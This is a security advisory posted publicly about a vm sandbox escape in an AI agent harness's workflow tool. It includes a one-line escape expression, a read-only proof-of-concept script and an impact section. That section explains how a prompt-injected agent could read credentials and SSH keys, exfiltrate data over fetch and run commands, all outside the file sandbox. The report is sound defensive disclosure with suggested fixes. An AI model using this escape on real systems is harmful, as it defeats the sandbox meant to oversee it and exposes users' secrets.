Security: workflow tool vm escape via injected host-realm functions (user-privilege file/network access, sandbox bypass)

[Mengxun326]

Summary

The workflow tool (@deepseek-ai/dsh-workflow-worker-thread) executes model-generated workflow scripts inside a Node vm context created from an empty object (vm.createContext({})), but injects host-realm closures (agent, parallel, pipeline, phase, log) as globals. Because those functions are objects from the worker realm, agent.constructor is the worker realm's Function. A one-line expression therefore escapes the vm into the worker thread:

agent.constructor('return process')().getBuiltinModule('fs')

The worker is a normal Node worker thread: it is not covered by the file sandbox (bwrap / Landlock / Seatbelt / Windows ACL), its global fetch is unrestricted, and process.getBuiltinModule() (Node >= 22.3) provides fs, child_process, net, etc. Environment scrubbing (workerSpawnEnv() keeps only TMP/TEMP) does not help, because file and network access remain.

Affected version / location

• Package: @deepseek-ai/dsh-workflow-worker-thread 0.1.0-rc.6 (published npm artifact; same pattern on master at time of writing)
• File: lib/worker.cjs, WorkflowExecution constructor (around lines 258–284):

this.context = node_vm.createContext({}, { name: `workflow:${meta.name}` });
const globals = { agent: (prompt, opts) => ..., parallel: ..., pipeline: ..., phase: ..., log: ..., args };
for (const [key, value] of Object.entries(globals))
  this.context[key] = typeof value === "function" ? Object.freeze(value) : value;

• Related surface: @deepseek-ai/dsh-code-runtime-worker-thread/lib/worker.cjs executes injected code via new AsyncFunction(...namespaces, "console", "'use strict';\n" + code)(...) directly in the worker realm. process is a worker global there, so process.getBuiltinModule('fs') is reachable without any escape step. (There the trust level of code authors is higher, but it is the same exposure class.)

Reproduction

Minimal PoC replicating the harness's own worker configuration (scrubbed env, execArgv: []). Harmless: it only reads the public Windows file C:\Windows\win.ini to prove filesystem reach, and performs no network I/O.

// poc-workflow-vm-escape.cjs
'use strict';
const vm = require('node:vm');
const { Worker, isMainThread, parentPort } = require('node:worker_threads');

function runEscape() {
  const context = vm.createContext({}, { name: 'workflow:poc' });
  const hostFn = () => 'hook';          // mirrors the harness: a host-realm closure
  Object.freeze(hostFn);                // mirrors the harness: frozen before injection
  context.agent = hostFn;
  const script = new vm.Script(`(async () => {
    const F = agent.constructor;                       // host-realm Function
    const proc = F('return process')();                // the worker's process object
    const fs = proc.getBuiltinModule('fs');
    const read = fs.readFileSync('C:\\\\Windows\\\\win.ini', 'utf8').slice(0, 60);
    return { escaped: true, read, envKeys: Object.keys(proc.env) };
  })()`);
  return script.runInContext(context, { timeout: 5000 });
}

if (isMainThread) {
  runEscape().then((r) => {
    console.log('[main-thread]', JSON.stringify(r));
    const w = new Worker(__filename, {
      env: { TMP: process.env.TMP || '', TEMP: process.env.TEMP || '' },
      execArgv: []
    });
    w.on('message', (m) => console.log('[worker-thread]', JSON.stringify(m)));
  });
} else {
  runEscape().then((r) => parentPort.postMessage(r));
}

Verified on Node v24.19.0 (Windows 11), with the same worker options the harness uses: the escaped code read C:\Windows\win.ini successfully, and the worker's process.env contained only the scrubbed TMP/TEMP (so the env scrub works — it just does not stop the escape).

In the real tool, the same expression placed at the top of any workflow script body gives the script:

1. Arbitrary file read/write/delete for every file the harness user can access — including the credentials store ($DSH_HOME/.credentials.yaml), SSH keys, browser profiles;
2. Unrestricted outbound network via the worker's global fetch (direct exfiltration channel);
3. Arbitrary command execution as the harness user via process.getBuiltinModule('child_process').

Impact

• In the agent threat model (indirect prompt injection, malicious task content), a crafted workflow body escalates from "orchestrating subagents" to full local code execution with the harness user's privileges, completely bypassing the file sandbox, because the sandbox confines only the bash/pwsh executors and the fs tools — not worker threads.
• The documented stance in lib/types/realm.js — "the vm is not a security boundary. The worker provides host-loop isolation and forced termination, not hostile-value containment" — understates the exposure: the worker also provides a one-line path to host filesystem and network, not merely loop protection.

Suggested fixes

Any one of these addresses the root cause:

1. Stop injecting host-realm functions into the vm context. Build the hooks inside the vm realm (e.g. vm.compileFunction, or pre-evaluated wrapper functions that live in the context) so that the Function reachable from script values is the context realm's Function, not the worker realm's.
2. Run the worker under the existing process-sandbox chain (ctx.sandbox.confine) or a dedicated restricted worker, so filesystem/network effects are bounded even if the vm is escaped.
3. Harden the worker as defense-in-depth: deny process.getBuiltinModule, replace global fetch with a policy-restricted implementation, and enable vm codeGeneration restrictions.
4. For dsh-code-runtime-worker-thread, run injected programs under the same process-level confinement.

Severity

High — local, user-privilege RCE from the workflow tool that bypasses the sandbox. No remote pre-auth vector: the web API stays loopback-only, so exploitation requires the agent (or an injected prompt) to actually invoke the workflow tool.

Disclosure note

Filed publicly because the repository has no SECURITY.md or private reporting channel. The PoC above is deliberately read-only and non-exfiltrating. Happy to open a PR if maintainers prefer a particular fix approach.

---

中文摘要

结论:workflow 工具用 vm.createContext({}) 运行模型生成的脚本,却把宿主(worker 线程)realm 的闭包函数(agent/parallel/pipeline/phase/log)直接注入为全局变量。因此脚本里一行代码即可逃逸 vm:

agent.constructor('return process')().getBuiltinModule('fs')

agent.constructor 是 worker realm 的 Function,可拿到 worker 的 process,进而使用 process.getBuiltinModule('fs' | 'child_process' | 'net') 与全局 fetch。worker 线程不受文件沙箱(bwrap / Landlock / Seatbelt / Windows ACL)约束,环境变量清洗(仅 TMP/TEMP)也挡不住文件与网络通道。

影响:恶意或经提示注入诱导的模型一旦调用 workflow 工具,即可获得当前用户权限的任意文件读写(含 $DSH_HOME/.credentials.yaml 中的 API 密钥、SSH 私钥)、无限制外联(worker 全局 fetch)与任意命令执行,完全绕过文件沙箱。

验证:已在 Node v24.19.0 / Windows 11、与 harness 相同的 worker 配置(scrubbed env、execArgv: [])下用最小 PoC 复现(仅读取公开系统文件 C:\Windows\win.ini 以证明文件系统可达,无网络外传),PoC 见上文。

修复建议:

1. 不要向 vm 上下文注入宿主 realm 函数;改用 vm.compileFunction 在 vm realm 内部构造钩子,或经 postMessage 式异步 RPC 暴露;
2. 将 workflow 执行纳入 ctx.sandbox 的进程级隔离;
3. worker 内禁用 process.getBuiltinModule、替换全局 fetch、开启 codeGeneration 限制作为纵深防御;
4. dsh-code-runtime-worker-thread 用 new AsyncFunction 直接执行注入代码,暴露面同源,建议一并处理。

披露说明:仓库未提供 SECURITY.md 或私有上报渠道,且 issues 已关闭,故按 CONTRIBUTING 指引在本 Discussions 公开提交;PoC 特意设计为只读、不外传。欢迎维护者指定修复方向,可随时配合提交补丁。